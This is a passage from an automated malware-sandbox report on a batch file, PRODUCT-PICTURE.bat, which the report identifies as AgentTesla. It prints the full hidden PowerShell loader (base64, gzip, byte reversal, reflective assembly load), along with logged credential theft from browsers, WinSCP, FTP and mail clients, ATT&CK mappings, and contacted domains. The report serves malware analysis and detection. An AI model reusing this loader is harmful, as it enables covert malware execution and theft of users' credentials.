Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\user\AppData\Roaming\IV.bat.Usq	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +s +h C:\Users\user\AppData\Roaming\IV.bat.Usq	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\IV.bat.Usq C:\Users\user\AppData\Roaming\IV.bat.Usq -WindowStyle hidden -command "$Gcbnyd = get-content 'C:\Users\user\AppData\Roaming\IV.bat' \| Select-Object -Last 1; $Wbqkngq = [System.Convert]::FromBase64String($Gcbnyd);$Wwtukg = New-Object System.IO.MemoryStream( , $Wbqkngq );$Dsvtbpwioop = New-Object System.IO.MemoryStream;$Aslrlsosng = New-Object System.IO.Compression.GzipStream $Wwtukg, ([IO.Compression.CompressionMode]::Decompress);$Aslrlsosng.CopyTo( $Dsvtbpwioop );$Aslrlsosng.Close();$Wwtukg.Close();[byte[]] $Wbqkngq = $Dsvtbpwioop.ToArray();[Array]::Reverse($Wbqkngq); $Fmbtk = [System.AppDomain]::CurrentDomain.Load($Wbqkngq); $Gxbkjncruwk = $Fmbtk.EntryPoint; $Gxbkjncruwk.DeclaringType.InvokeMember($Gxbkjncruwk.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)\| Out-Null"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq c:\users\user\desktop\product-picture.bat.usq -windowstyle hidden -command "$gcbnyd = get-content 'c:\users\user\desktop\product-picture.bat' \| select-object -last 1; $wbqkngq = [system.convert]::frombase64string($gcbnyd);$wwtukg = new-object system.io.memorystream( , $wbqkngq );$dsvtbpwioop = new-object system.io.memorystream;$aslrlsosng = new-object system.io.compression.gzipstream $wwtukg, ([io.compression.compressionmode]::decompress);$aslrlsosng.copyto( $dsvtbpwioop );$aslrlsosng.close();$wwtukg.close();[byte[]] $wbqkngq = $dsvtbpwioop.toarray();[array]::reverse($wbqkngq); $fmbtk = [system.appdomain]::currentdomain.load($wbqkngq); $gxbkjncruwk = $fmbtk.entrypoint; $gxbkjncruwk.declaringtype.invokemember($gxbkjncruwk.name, [system.reflection.bindingflags]::invokemethod, $null, $null, $null)\| out-null"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\IV.bat.Usq c:\users\user\appdata\roaming\iv.bat.usq -windowstyle hidden -command "$gcbnyd = get-content 'c:\users\user\appdata\roaming\iv.bat' \| select-object -last 1; $wbqkngq = [system.convert]::frombase64string($gcbnyd);$wwtukg = new-object system.io.memorystream( , $wbqkngq );$dsvtbpwioop = new-object system.io.memorystream;$aslrlsosng = new-object system.io.compression.gzipstream $wwtukg, ([io.compression.compressionmode]::decompress);$aslrlsosng.copyto( $dsvtbpwioop );$aslrlsosng.close();$wwtukg.close();[byte[]] $wbqkngq = $dsvtbpwioop.toarray();[array]::reverse($wbqkngq); $fmbtk = [system.appdomain]::currentdomain.load($wbqkngq); $gxbkjncruwk = $fmbtk.entrypoint; $gxbkjncruwk.declaringtype.invokemember($gxbkjncruwk.name, [system.reflection.bindingflags]::invokemethod, $null, $null, $null)\| out-null"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq c:\users\user\desktop\product-picture.bat.usq -windowstyle hidden -command "$gcbnyd = get-content 'c:\users\user\desktop\product-picture.bat' \| select-object -last 1; $wbqkngq = [system.convert]::frombase64string($gcbnyd);$wwtukg = new-object system.io.memorystream( , $wbqkngq );$dsvtbpwioop = new-object system.io.memorystream;$aslrlsosng = new-object system.io.compression.gzipstream $wwtukg, ([io.compression.compressionmode]::decompress);$aslrlsosng.copyto( $dsvtbpwioop );$aslrlsosng.close();$wwtukg.close();[byte[]] $wbqkngq = $dsvtbpwioop.toarray();[array]::reverse($wbqkngq); $fmbtk = [system.appdomain]::currentdomain.load($wbqkngq); $gxbkjncruwk = $fmbtk.entrypoint; $gxbkjncruwk.declaringtype.invokemember($gxbkjncruwk.name, [system.reflection.bindingflags]::invokemethod, $null, $null, $null)\| out-null"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\IV.bat.Usq c:\users\user\appdata\roaming\iv.bat.usq -windowstyle hidden -command "$gcbnyd = get-content 'c:\users\user\appdata\roaming\iv.bat' \| select-object -last 1; $wbqkngq = [system.convert]::frombase64string($gcbnyd);$wwtukg = new-object system.io.memorystream( , $wbqkngq );$dsvtbpwioop = new-object system.io.memorystream;$aslrlsosng = new-object system.io.compression.gzipstream $wwtukg, ([io.compression.compressionmode]::decompress);$aslrlsosng.copyto( $dsvtbpwioop );$aslrlsosng.close();$wwtukg.close();[byte[]] $wbqkngq = $dsvtbpwioop.toarray();[array]::reverse($wbqkngq); $fmbtk = [system.appdomain]::currentdomain.load($wbqkngq); $gxbkjncruwk = $fmbtk.entrypoint; $gxbkjncruwk.declaringtype.invokemember($gxbkjncruwk.name, [system.reflection.bindingflags]::invokemethod, $null, $null, $null)\| out-null"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 7.2.InstallUtil.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.IV.bat.Usq.92c0790.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.IV.bat.Usq.92c0790.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1851117806.0000000002531000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4154044775.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4154044775.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1851117806.000000000255D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1911240345.00000000092AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1691416942.0000000005252000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1851117806.0000000002581000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4154044775.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1717457577.000000000932C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1839930699.00000000052C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1835721747.0000000000532000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PRODUCT-PICTURE.bat.Usq PID: 7460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: IV.bat.Usq PID: 7928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8084, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 7.2.InstallUtil.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.IV.bat.Usq.92c0790.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.IV.bat.Usq.92c0790.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1851117806.0000000002531000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4154044775.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1911240345.00000000092AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1691416942.0000000005252000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1717457577.000000000932C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1839930699.00000000052C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1835721747.0000000000532000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PRODUCT-PICTURE.bat.Usq PID: 7460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: IV.bat.Usq PID: 7928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8084, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 7.2.InstallUtil.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.IV.bat.Usq.92c0790.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.IV.bat.Usq.92c0790.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1851117806.0000000002531000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4154044775.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4154044775.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1851117806.000000000255D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1911240345.00000000092AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1691416942.0000000005252000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1851117806.0000000002581000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4154044775.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1717457577.000000000932C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1839930699.00000000052C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1835721747.0000000000532000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PRODUCT-PICTURE.bat.Usq PID: 7460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: IV.bat.Usq PID: 7928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8084, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	112 Scripting	Valid Accounts	121 Windows Management Instrumentation	112 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Command and Scripting Interpreter	1 DLL Side-Loading	211 Process Injection	1 Deobfuscate/Decode Files or Information	21 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	2 Obfuscated Files or Information	1 Credentials in Registry	421 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	21 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	151 Virtualization/Sandbox Evasion	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	151 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PRODUCT-PICTURE.bat	11%	ReversingLabs
PRODUCT-PICTURE.bat	11%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\IV.bat.Usq	0%	ReversingLabs
C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
ip-api.com	0%	Virustotal		Browse
nffplp.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://crl.micro	0%	URL Reputation	safe
https://stackoverflow.com/q/11564914/23354;	0%	URL Reputation	safe
https://stackoverflow.com/q/2152978/23354	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://ip-api.com	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://ip-api.com/line/?fields=hosting	0%	URL Reputation	safe
http://nffplp.com	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ip-api.com	208.95.112.1	true	true	0%, Virustotal, Browse	unknown
nffplp.com	163.44.198.71	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
